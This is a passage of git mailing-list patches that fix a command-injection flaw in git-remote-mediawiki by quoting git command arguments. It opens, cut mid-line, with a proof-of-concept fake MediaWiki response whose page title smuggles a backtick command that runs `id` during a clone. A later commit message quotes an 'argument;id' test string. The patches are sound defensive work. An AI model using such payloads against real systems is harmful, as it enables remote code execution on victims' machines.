revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"/tmp/mw'`. Now when being cloned with `git clone mediawiki::http://localhost:4567` the file `/tmp/mw` will be created during the clone process, containing the output of `id`. 1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command 2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens Reported-by: Joern Schneeweisz Signed-off-by: Ævar Arnfjörð Bjarmason --- contrib/mw-to-git/git-remote-mediawiki.perl | 49 +++++++++++---------- 1 file changed, 26 insertions(+), 23 deletions(-) diff --git a/contrib/mw-to-git/git-remote-mediawiki.perl b/contrib/mw-to-git/git-remote-mediawiki.perl index 59cb277517..bbf68ddc46 100755 --- a/contrib/mw-to-git/git-remote-mediawiki.perl +++ b/contrib/mw-to-git/git-remote-mediawiki.perl @@ -56,38 +56,38 @@ # Accept both space-separated and multiple keys in config file. # Spaces should be written as _ anyway because we'll use chomp. -my @tracked_pages = split(/[ \n]/, run_git("config --get-all remote.${remotename}.pages")); +my @tracked_pages = split(/[ \n]/, run_git_quoted(["config", "--get-all", "remote.${remotename}.pages"])); chomp(@tracked_pages); # Just like @tracked_pages, but for MediaWiki categories. -my @tracked_categories = split(/[ \n]/, run_git("config --get-all remote.${remotename}.categories")); +my @tracked_categories = split(/[ \n]/, run_git_quoted(["config", "--get-all", "remote.${remotename}.categories"])); chomp(@tracked_categories); # Just like @tracked_categories, but for MediaWiki namespaces. -my @tracked_namespaces = split(/[ \n]/, run_git("config --get-all remote.${remotename}.namespaces")); +my @tracked_namespaces = split(/[ \n]/, run_git_quoted(["config", "--get-all", "remote.${remotename}.namespaces"])); for (@tracked_namespaces) { s/_/ /g; } chomp(@tracked_namespaces); # Import media files on pull -my $import_media = run_git("config --get --bool remote.${remotename}.mediaimport"); +my $import_media = run_git_quoted(["config", "--get", "--bool", "remote.${remotename}.mediaimport"]); chomp($import_media); $import_media = ($import_media eq 'true'); # Export media files on push -my $export_media = run_git("config --get --bool remote.${remotename}.mediaexport"); +my $export_media = run_git_quoted(["config", "--get", "--bool", "remote.${remotename}.mediaexport"]); chomp($export_media); $export_media = !($export_media eq 'false'); -my $wiki_login = run_git("config --get remote.${remotename}.mwLogin"); +my $wiki_login = run_git_quoted(["config", "--get", "remote.${remotename}.mwLogin"]); # Note: mwPassword is discouraged. Use the credential system instead. -my $wiki_passwd = run_git("config --get remote.${remotename}.mwPassword"); -my $wiki_domain = run_git("config --get remote.${remotename}.mwDomain"); +my $wiki_passwd = run_git_quoted(["config", "--get", "remote.${remotename}.mwPassword"]); +my $wiki_domain = run_git_quoted(["config", "--get", "remote.${remotename}.mwDomain"]); chomp($wiki_login); chomp($wiki_passwd); chomp($wiki_domain); # Import only last revisions (both for clone and fetch) -my $shallow_import = run_git("config --get --bool remote.${remotename}.shallow"); +my $shallow_import = run_git_quoted(["config", "--get", "--bool", "remote.${remotename}.shallow"]); chomp($shallow_import); $shallow_import = ($shallow_import eq 'true'); @@ -97,9 +97,9 @@ # Possible values: # - by_rev: perform one query per new revision on the remote wiki # - by_page: query each tracked page for new revision -my $fetch_strategy = run_git("config --get remote.${remotename}.fetchStrategy"); +my $fetch_strategy = run_git_quoted(["config", "--get", "remote.${remotename}.fetchStrategy"]); if (!$fetch_strategy) { - $fetch_strategy = run_git('config --get mediawiki.fetchStrategy'); + $fetch_strategy = run_git_quoted(["config", "--get", "mediawiki.fetchStrategy"]); } chomp($fetch_strategy); if (!$fetch_strategy) { @@ -123,9 +123,9 @@ # will get the history with information lost). If the import is # deterministic, this means everybody gets the same sha1 for each # MediaWiki revision. -my $dumb_push = run_git("config --get --bool remote.${remotename}.dumbPush"); +my $dumb_push = run_git_quoted(["config", "--get", "--bool", "remote.${remotename}.dumbPush"]); if (!$dumb_push) { - $dumb_push = run_git('config --get --bool mediawiki.dumbPush'); + $dumb_push = run_git_quoted(["config", "--get", "--bool", "mediawiki.dumbPush"]); } chomp($dumb_push); $dumb_push = ($dumb_push eq 'true'); @@ -984,7 +984,7 @@ sub mw_import_revids { } sub error_non_fast_forward { - my $advice = run_git('config --bool advice.pushNonFastForward'); + my $advice = run_git_quoted(["config", "--bool", "advice.pushNonFastForward"]); chomp($advice); if ($advice ne 'false') { # Native git-push would show this after the summary. @@ -1028,7 +1028,7 @@ sub mw_upload_file { } } else { # Don't let perl try to interpret file content as UTF-8 => use "raw" - my $content = run_git("cat-file blob ${new_sha1}", 'raw'); + my $content = run_git_quoted(["cat-file", "blob", $new_sha1], 'raw'); if ($content ne EMPTY) { $mediawiki = connect_maybe($mediawiki, $remotename, $url); $mediawiki->{config}->{upload_url} = @@ -1098,7 +1098,7 @@ sub mw_push_file { # with this content instead: $file_content = DELETED_CONTENT; } else { - $file_content = run_git("cat-file blob ${new_sha1}"); + $file_content = run_git_quoted(["cat-file", "blob", $new_sha1]); } $mediawiki = connect_maybe($mediawiki, $remotename, $url); @@ -1211,7 +1211,7 @@ sub mw_push_revision { my $parsed_sha1 = $remoteorigin_sha1; # Find a path from last MediaWiki commit to pushed commit print {*STDERR} "Computing path from local to remote ...\n"; - my @local_ancestry = split(/\n/, run_git("rev-list --boundary --parents ${local} ^${parsed_sha1}")); + my @local_ancestry = split(/\n/, run_git_quoted(["rev-list", "--boundary", "--parents", $local, "^${parsed_sha1}"])); my %local_ancestry; foreach my $line (@local_ancestry) { if (my ($child, $parents) = $line =~ /^-?([a-f0-9]+) ([a-f0-9 ]+)/) { @@ -1235,7 +1235,7 @@ sub mw_push_revision { # No remote mediawiki revision. Export the whole # history (linearized with --first-parent) print {*STDERR} "Warning: no common ancestor, pushing complete history\n"; - my $history = run_git("rev-list --first-parent --children ${local}"); + my $history = run_git_quoted(["rev-list", "--first-parent", "--children", $local]); my @history = split(/\n/, $history); @history = @history[1..$#history]; foreach my $line (reverse @history) { @@ -1247,12 +1247,12 @@ sub mw_push_revision { foreach my $commit_info_split (@commit_pairs) { my $sha1_child = @{$commit_info_split}[0]; my $sha1_commit = @{$commit_info_split}[1]; - my $diff_infos = run_git("diff-tree -r --raw -z ${sha1_child} ${sha1_commit}"); + my $diff_infos = run_git_quoted(["diff-tree", "-r", "--raw", "-z", $sha1_child, $sha1_commit]); # TODO: we could detect rename, and encode them with a #redirect on the wiki. # TODO: for now, it's just a delete+add my @diff_info_list = split(/\0/, $diff_infos); # Keep the subject line of the commit message as mediawiki comment for the revision - my $commit_msg = run_git(qq(log --no-walk --format="%s" ${sha1_commit})); + my $commit_msg = run_git_quoted(["log", "--no-walk", '--format="%s"', $sha1_commit]); chomp($commit_msg); # Push every blob while (@diff_info_list) { @@ -1277,7 +1277,10 @@ sub mw_push_revision { } } if (!$dumb_push) { - run_git(qq(notes --ref=${remotename}/mediawiki add -f -m "mediawiki_revision: ${mw_revision}" ${sha1_commit})); + run_git_quoted(["notes", "--ref=${remotename}/mediawiki", + "add", "-f", "-m", + "mediawiki_revision: ${mw_revision}", + $sha1_commit]); } } @@ -1318,7 +1321,7 @@ sub get_mw_namespace_id { # already cached. Namespaces are stored in form: # "Name_of_namespace:Id_namespace", ex.: "File:6". my @temp = split(/\n/, - run_git("config --get-all remote.${remotename}.namespaceCache")); + run_git_quoted(["config", "--get-all", "remote.${remotename}.namespaceCache"])); chomp(@temp); foreach my $ns (@temp) { my ($n, $id) = split(/:/, $ns); @@ -1372,7 +1375,7 @@ sub get_mw_namespace_id { # Store explicitly requested namespaces on disk if (!exists $cached_mw_namespace_id{$name}) { - run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}")); + run_git_quoted(["config", "--add", "remote.${remotename}.namespaceCache", "${name}:${store_id}"]); $cached_mw_namespace_id{$name} = 1; } return $id; From patchwork Mon Sep 21 10:39:59 2020 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Patchwork-Submitter: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= X-Patchwork-Id: 11789283 Return-Path: Received: from mail.kernel.org (pdx-korg-mail-1.web.codeaurora.org [172.30.200.123]) by pdx-korg-patchwork-2.web.codeaurora.org (Postfix) with ESMTP id C5B1B17CF for ; Mon, 21 Sep 2020 10:40:44 +0000 (UTC) Received: from vger.kernel.org (vger.kernel.org [23.128.96.18]) by mail.kernel.org (Postfix) with ESMTP id A818F207BC for ; Mon, 21 Sep 2020 10:40:44 +0000 (UTC) Authentication-Results: mail.kernel.org; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b="ZzdixHD3" Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S1726844AbgIUKkn (ORCPT ); Mon, 21 Sep 2020 06:40:43 -0400 Received: from lindbergh.monkeyblade.net ([23.128.96.19]:34090 "EHLO lindbergh.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S1726576AbgIUKkm (ORCPT ); Mon, 21 Sep 2020 06:40:42 -0400 Received: from mail-wr1-x441.google.com (mail-wr1-x441.google.com [IPv6:2a00:1450:4864:20::441]) by lindbergh.monkeyblade.net (Postfix) with ESMTPS id E41E8C0613D3 for ; Mon, 21 Sep 2020 03:40:33 -0700 (PDT) Received: by mail-wr1-x441.google.com with SMTP id e16so12208596wrm.2 for ; Mon, 21 Sep 2020 03:40:33 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025; h=from:to:cc:subject:date:message-id:in-reply-to:references :mime-version:content-transfer-encoding; bh=F78QEosZUXcqHNdM3pqtZwzRQrKNY+DZLbz7OwMnxpo=; b=ZzdixHD3T5LXWoJVTBCQQfRvsCTxbOvkRw+rbV2JkllI1kz2RYA3ICwPngg52dy1y8 Hj/Xw7okn9xqSlCrq5FNacltxnIujDI7qLz8FK2oVbAiEM1n0xuSFM8rUdAiqz19kpZ+ vqsAO8TTEit8uI/TSB/Hh6QYLsJSsaXbpbe5NCiWpxR3bAuCXpHTVHKc95jPiNmIqAVx +HiCkeUEDmxd5JE1pFwR0nFmqUL5NOCzLemHMfxIRszayLU/44vWI3NF14nmFmWkip8l IUMEFd+kMlh3hZPDdDRM1STWSkThyLwyb4kbVBBFs+Tpx0e+QET/9P5CBAr8V7SOh4V5 d/3g== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20161025; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references:mime-version:content-transfer-encoding; bh=F78QEosZUXcqHNdM3pqtZwzRQrKNY+DZLbz7OwMnxpo=; b=rCP1mj5SadEBo4SDdJu0dJYHBuvtsR5butLzWs7jMrzo9+oEedzcK25qzMNZOs/rQD EP+r8BgtErD21KDyH//k4Vi3CmMGnuWLP/LNTnOUVfwYHFBfra2zCUDhKz8uQ1ywL7Lq 6rnzRB99qeSI5RwdsgTgEE6hQccNqctkPgjfObW4+tdcwJ1jNwKyaRbSiuGUGdxl9jDG sBa7dsAzjPx5rCtg0XOa2XZ1m6HatAa/CURN+9eDW63O8ielzUnSuwoEuc/GdLidsGb8 AliE9E7JcBni6KCpnNBfKxP9+s+x91HNMRKgD1Dq0GbuY1Da7sYVK6ytHQGrNlwCjTi6 CN2A== X-Gm-Message-State: AOAM530SmxCD2aTm2YLUGFDVwivoWBMQip7aHpxEPADjl4reJu/QyP1j EnkCrEuGX5uDr00AKoqLAfAgdHpQ89sOLA== X-Google-Smtp-Source: ABdhPJzCYYbb0keHvto09aX2snYAF6BSykEy6cnvFZfG/5BSiLOIPKEODPPZtfaJ6JmTuKdd8x3g0w== X-Received: by 2002:adf:e690:: with SMTP id r16mr51276144wrm.15.1600684832398; Mon, 21 Sep 2020 03:40:32 -0700 (PDT) Received: from vm.nix.is (vm.nix.is. [2a01:4f8:120:2468::2]) by smtp.gmail.com with ESMTPSA id 9sm18647833wmf.7.2020.09.21.03.40.31 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Mon, 21 Sep 2020 03:40:31 -0700 (PDT) From: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= To: git@vger.kernel.org Cc: Junio C Hamano , Matthieu Moy , Johannes Schindelin , =?utf-8?q?Antoine_Beaupr?= =?utf-8?q?=C3=A9?= , =?utf-8?b?xJBvw6BuIFRy4bqnbiBDw7Ru?= =?utf-8?b?ZyBEYW5o?= , imon Legner , Eric Sunshine , Jeff King , =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= Subject: [PATCH v2 17/18] remote-mediawiki: annotate unquoted uses of run_git() Date: Mon, 21 Sep 2020 12:39:59 +0200 Message-Id: <20200921104000.2304-18-avarab@gmail.com> X-Mailer: git-send-email 2.28.0.297.g1956fa8f8d In-Reply-To: <20200916102918.29805-1-avarab@gmail.com> References: <20200916102918.29805-1-avarab@gmail.com> MIME-Version: 1.0 Precedence: bulk List-ID: X-Mailing-List: git@vger.kernel.org Explicitly annotate the invocations of run_git() which don't use quoted arguments. I'm not converting these to run_git_quoted() because these invocations pipe stderr to /dev/null, which the Perl open() API doesn't support. We could do a quoted version of this with IPC::Open3, but I don't think it's worth it to go through that here. Let's instead just mark these sites, and comment on why it's OK to use the variables we're using. This eliminates the last uses of run_git(), so we can remove the alias for it introduced in an earlier commit. Signed-off-by: Ævar Arnfjörð Bjarmason --- contrib/mw-to-git/git-remote-mediawiki.perl | 19 +++++++++++++------ 1 file changed, 13 insertions(+), 6 deletions(-) diff --git a/contrib/mw-to-git/git-remote-mediawiki.perl b/contrib/mw-to-git/git-remote-mediawiki.perl index bbf68ddc46..d21c18df7b 100755 --- a/contrib/mw-to-git/git-remote-mediawiki.perl +++ b/contrib/mw-to-git/git-remote-mediawiki.perl @@ -395,8 +395,6 @@ sub run_git_unquoted { _run_git(["git $_[0]"], $_[1]); } -BEGIN { *run_git = \&run_git_unquoted } - sub get_all_mediafiles { my $pages = shift; # Attach list of all pages for media files from the API, @@ -522,8 +520,11 @@ sub download_mw_mediafile { } sub get_last_local_revision { - # Get note regarding last mediawiki revision - my $note = run_git("notes --ref=${remotename}/mediawiki show refs/mediawiki/${remotename}/master 2>/dev/null"); + # Get note regarding last mediawiki revision. + # + # It's OK to use run_git_unquoted() here because $remotename is + # supplied by the local git itself. + my $note = run_git_unquoted("notes --ref=${remotename}/mediawiki show refs/mediawiki/${remotename}/master 2>/dev/null"); my @note_info = split(/ /, $note); my $lastrevision_number; @@ -1188,10 +1189,16 @@ sub mw_push_revision { my $mw_revision = $last_remote_revid; # Get sha1 of commit pointed by local HEAD - my $HEAD_sha1 = run_git("rev-parse ${local} 2>/dev/null"); + # + # It's OK to use run_git_unquoted() because $local is supplied + # by the local git itself. + my $HEAD_sha1 = run_git_unquoted("rev-parse ${local} 2>/dev/null"); chomp($HEAD_sha1); # Get sha1 of commit pointed by remotes/$remotename/master - my $remoteorigin_sha1 = run_git("rev-parse refs/remotes/${remotename}/master 2>/dev/null"); + # + # It's OK to use run_git_unquoted() here because $remotename is + # supplied by the local git itself. + my $remoteorigin_sha1 = run_git_unquoted("rev-parse refs/remotes/${remotename}/master 2>/dev/null"); chomp($remoteorigin_sha1); if ($last_local_revid > 0 && From patchwork Mon Sep 21 10:40:00 2020 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Patchwork-Submitter: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= X-Patchwork-Id: 11789285 Return-Path: Received: from mail.kernel.org (pdx-korg-mail-1.web.codeaurora.org [172.30.200.123]) by pdx-korg-patchwork-2.web.codeaurora.org (Postfix) with ESMTP id 27D8859D for ; Mon, 21 Sep 2020 10:40:45 +0000 (UTC) Received: from vger.kernel.org (vger.kernel.org [23.128.96.18]) by mail.kernel.org (Postfix) with ESMTP id 0C57020773 for ; Mon, 21 Sep 2020 10:40:45 +0000 (UTC) Authentication-Results: mail.kernel.org; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b="g3NHmAPi" Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S1726846AbgIUKko (ORCPT ); Mon, 21 Sep 2020 06:40:44 -0400 Received: from lindbergh.monkeyblade.net ([23.128.96.19]:34092 "EHLO lindbergh.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S1726333AbgIUKkm (ORCPT ); Mon, 21 Sep 2020 06:40:42 -0400 Received: from mail-wm1-x342.google.com (mail-wm1-x342.google.com [IPv6:2a00:1450:4864:20::342]) by lindbergh.monkeyblade.net (Postfix) with ESMTPS id C59E6C0613D4 for ; Mon, 21 Sep 2020 03:40:34 -0700 (PDT) Received: by mail-wm1-x342.google.com with SMTP id z9so12081197wmk.1 for ; Mon, 21 Sep 2020 03:40:34 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025; h=from:to:cc:subject:date:message-id:in-reply-to:references :mime-version:content-transfer-encoding; bh=POyCC72EThbYV2wF217KCHzxwAmdyKiBzorI5YYzPGg=; b=g3NHmAPi0wXCNHXhb+EDdCi+hYe6iv+mDVmdfQaqYe4Zrg+4PPMeKpeKR/Oash1+6s aUr8lkptP+ZWXozQHg9NlOWDfiIug1RRKeS2r+vQpo7VCzTlKbHrEzCI9dd3I3rQI6lT 4m+DGk2E1eN8Se53J6np/KUi3Ew8rO9JpN0hJNh8kMDdpD4olWULM/kXJuP/aoct9JSF cN4kHOSdv0PfijDgNJ5z8zeok70wc3tA8PpZwVVMyRmjKyyt8PXYiavNjdO75x+hq5wf d7CqnUhyStERSOQ/B9Z3NFNV/NyvxS3XeZj638kCJp0VtpIxMrwo7snd0qHkEhHcKi4A vEZw== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20161025; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references:mime-version:content-transfer-encoding; bh=POyCC72EThbYV2wF217KCHzxwAmdyKiBzorI5YYzPGg=; b=QwuJInAIrFaLGdZa+mLbpRzrruNn0VcUAAboQhMTLjgUonbTKOpc9y03xDw0MDVFcJ XXv/Gqq30lM2iiI1SQOGnkNowJf/CKx5SAhjyxcs+GfaWkmDadWJ5Ut/CXOpc792PDJ9 n2THwZM6nmO4r3uW4oeZZSII1uC4m9Wvy3f4rlJuUmJ2aL0qW1RMICNYZK8YDir3FPCF EEe2kOYHf7edIDvhobr6q+n+jMU89yjznzPyFGTeW6DDA7nySsA4qAhU9hzvGQ0cOPTm SoCRsKBwrPKBkUAbl/51wK+i6p6AS6LIywcv5UVH0xFdn9y76lP/omgbO1pkMlxS1fmb 3t+g== X-Gm-Message-State: AOAM532Q4aJ6jOmdG6FejZvPpkB8Jsjr4MGuyGAARQK81JWb7biWRex2 XVsrqwDxuqTItlMyN3KYbylgjctesb+lTg== X-Google-Smtp-Source: ABdhPJxXoOnh3MLIkHtqunBlxrBGZq9FCA1C3aWt+cyaqZ7Rp521ahEuYYfHIMqIMAOX2d5MlLmpCQ== X-Received: by 2002:a1c:1f86:: with SMTP id f128mr17290731wmf.187.1600684833262; Mon, 21 Sep 2020 03:40:33 -0700 (PDT) Received: from vm.nix.is (vm.nix.is. [2a01:4f8:120:2468::2]) by smtp.gmail.com with ESMTPSA id 9sm18647833wmf.7.2020.09.21.03.40.32 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Mon, 21 Sep 2020 03:40:32 -0700 (PDT) From: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= To: git@vger.kernel.org Cc: Junio C Hamano , Matthieu Moy , Johannes Schindelin , =?utf-8?q?Antoine_Beaupr?= =?utf-8?q?=C3=A9?= , =?utf-8?b?xJBvw6BuIFRy4bqnbiBDw7Ru?= =?utf-8?b?ZyBEYW5o?= , imon Legner , Eric Sunshine , Jeff King , =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= Subject: [PATCH v2 18/18] remote-mediawiki: use "sh" to eliminate unquoted commands Date: Mon, 21 Sep 2020 12:40:00 +0200 Message-Id: <20200921104000.2304-19-avarab@gmail.com> X-Mailer: git-send-email 2.28.0.297.g1956fa8f8d In-Reply-To: <20200916102918.29805-1-avarab@gmail.com> References: <20200916102918.29805-1-avarab@gmail.com> MIME-Version: 1.0 Precedence: bulk List-ID: X-Mailing-List: git@vger.kernel.org Remove the use of run_git_unquoted() completely with a use of "sh -c" suggested by Jeff King, i.e.: sh -c '"$@" 2>/dev/null' -- echo sneaky 'argument;id' I don't think this is needed now for any potential RCE issue. The $remotename argument is ultimately picked by the local user (and similarly, the $local variable comes from a user-supplied refspec). But completely eliminating the use of unquoted shell arguments has a value in and of itself, by making the code easier to review. As noted in an earlier commit I think the use of IPC::Open3 would be too verbose here, but this "sh -c" trick strikes the right balance between readability and semantic sanity. Suggested-by: Jeff King Signed-off-by: Ævar Arnfjörð Bjarmason --- contrib/mw-to-git/git-remote-mediawiki.perl | 24 +++++++-------------- 1 file changed, 8 insertions(+), 16 deletions(-) diff --git a/contrib/mw-to-git/git-remote-mediawiki.perl b/contrib/mw-to-git/git-remote-mediawiki.perl index d21c18df7b..a5624413dc 100755 --- a/contrib/mw-to-git/git-remote-mediawiki.perl +++ b/contrib/mw-to-git/git-remote-mediawiki.perl @@ -371,8 +371,8 @@ sub get_mw_pages { # usage: $out = run_git_quoted(["command", "args", ...]); # $out = run_git_quoted(["command", "args", ...], "raw"); # don't interpret output as UTF-8. -# $out = run_git_unquoted(["command args"); # don't quote arguments -# $out = run_git_unquoted(["command args", "raw"); # ditto but raw instead of UTF-8 as above +# $out = run_git_quoted_nostderr(["command", "args", ...]); # discard stderr +# $out = run_git_quoted_nostderr(["command", "args", ...], "raw"); # ditto but raw instead of UTF-8 as above sub _run_git { my $args = shift; my $encoding = (shift || 'encoding(UTF-8)'); @@ -391,8 +391,8 @@ sub run_git_quoted { _run_git(["git", @{$_[0]}], $_[1]); } -sub run_git_unquoted { - _run_git(["git $_[0]"], $_[1]); +sub run_git_quoted_nostderr { + _run_git(['sh', '-c', 'git "$@" 2>/dev/null', '--', @{$_[0]}], $_[1]); } sub get_all_mediafiles { @@ -521,10 +521,8 @@ sub download_mw_mediafile { sub get_last_local_revision { # Get note regarding last mediawiki revision. - # - # It's OK to use run_git_unquoted() here because $remotename is - # supplied by the local git itself. - my $note = run_git_unquoted("notes --ref=${remotename}/mediawiki show refs/mediawiki/${remotename}/master 2>/dev/null"); + my $note = run_git_quoted_nostderr(["notes", "--ref=${remotename}/mediawiki", + "show", "refs/mediawiki/${remotename}/master"]); my @note_info = split(/ /, $note); my $lastrevision_number; @@ -1189,16 +1187,10 @@ sub mw_push_revision { my $mw_revision = $last_remote_revid; # Get sha1 of commit pointed by local HEAD - # - # It's OK to use run_git_unquoted() because $local is supplied - # by the local git itself. - my $HEAD_sha1 = run_git_unquoted("rev-parse ${local} 2>/dev/null"); + my $HEAD_sha1 = run_git_quoted_nostderr(["rev-parse", $local]); chomp($HEAD_sha1); # Get sha1 of commit pointed by remotes/$remotename/master - # - # It's OK to use run_git_unquoted() here because $remotename is - # supplied by the local git itself. - my $remoteorigin_sha1 = run_git_unquoted("rev-parse refs/remotes/${remotename}/master 2>/dev/null"); + my $remoteorigin_sha1 = run_git_quoted_nostderr(["rev-parse", "refs/remotes/${remotename}/master"]); chomp($remoteorigin_sha1); if ($last_local_revid > 0 &&